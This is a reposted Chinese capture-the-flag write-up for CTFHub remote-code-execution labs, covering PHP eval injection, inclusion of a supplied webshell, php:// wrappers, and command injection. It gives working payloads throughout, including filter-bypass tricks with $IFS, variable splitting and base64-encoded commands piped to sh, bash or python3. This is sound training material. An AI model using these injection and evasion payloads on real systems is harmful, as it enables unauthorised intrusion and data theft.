首页 > 其他 > 详细

CTFHUB技能树-RCE

时间:2021-04-17 17:47:04      阅读:23      评论:0      收藏:0      [点我收藏+]

CTFHUB技能树-RCE

eval执行

分析源码,直接在URL中?cmd=system(‘ls /‘);

获得flag文件名

然后?cmd=system(‘cat flag‘);

文件包含

技术分享图片

根据页面的源码,知道可以GET方式传入一个file参数,传入的file将会被inlcude包含,因此被包含文件中的命令也会被当做PHP指令执行。

点击页面上的shell,可以看到shell.txt的内容:

技术分享图片

可知,题目已经提供了一句话木马,所以我们的目标就是在index页面包含shell.txt,然后将ctfhub参数传入,以执行我们想要执行的命令,这里还需要注意,传入的命令中不能包含flag字符串,这里可以使用通配符来绕过。payload:

http://challenge-2f034509829299a7.sandbox.ctfhub.com:10080/?file=shell.txt

然后使用POST方式传入ctfhub=system(‘cat /fla*‘);

技术分享图片

php://input

根据题目提示,可以查看phpinfo();的内容,结合题目的名称,查找php://input的相关设置:

技术分享图片

所以可以使用php://input来执行命令。

使用BP抓包来传递命令:

技术分享图片

读取源代码

?file=php://filter/resource=/flag

远程包含

技术分享图片

命令注入

技术分享图片

结合代码和题目的提示无过滤。

可以通过ping本地地址,然后;ls /等命令(通过分号来执行其他命令)

技术分享图片

禁用cat

要是禁用cat的话可以用less、more、tac、ca\t等绕过

禁用空格

{cat,flag.php} 
cat${IFS}flag.php
cat$IFS$9flag.php
cat<flag.php
cat<>flag.php
kg=$‘\x20flag.php‘&&cat$kg
a=c;b=at;c=flag.php;$a$b $c
b=ag;a=fl;cat$IFS$1$a$b.php
echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|sh
echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|bash
echo$IFS$1aW1wb3J0IG9zCnByaW50KG9zLnN5c3RlbSgnY2F0IGZsYWcucGhwJykp|base64$IFS$1-d|python3

过滤目录分隔符(‘/‘)

这次过滤了目录分割符 / ,你能读到 flag 目录下的 flag 文件吗

还是先0;ls查看当前目录

技术分享图片

然后结合题目题目,flag_is_here肯定是一个目录,而且flag文件应该就在里面

但是题目过滤了/,根据前面的题目可以知道,在flag中,就包含有/,所以如果直接读取flag的内容,会被替换成$m = [];

这里可以使用base64编码来绕过

0;cd flag_is_here;cat flag_86942576714339.php |base64

得到的是一个base64编码后的值,得到后再解码即可。

技术分享图片

过滤运算符

技术分享图片

过滤了与和或

127.0.0.1; base64 flag_33461333096.php

综合过滤

前面几个练习的综合

唯一需要额外提到的是,由于此处还过滤了;,所以这一点也得想办法绕过。在linux中,可以使用%0a来绕过,但是由于在GET方式传参的时候,还会变URLencode一次,所以最好是直接在url中去使用,如果直接在input栏中使用,会因为被再次编码而导致失败

技术分享图片

payload:

0%0acd${IFS}f***_is_here%0abase64${IFS}fl**_2239364004891.php

技术分享图片

CTFHUB技能树-RCE

原文:https://www.cnblogs.com/OHuooo/p/14670603.html

(0)
(0)
   
举报
评论 一句话评论(0
关于我们 - 联系我们 - 留言反馈 - 联系我们:wmxa8@hotmail.com
© 2014 bubuko.com 版权所有
打开技术之扣,分享程序人生!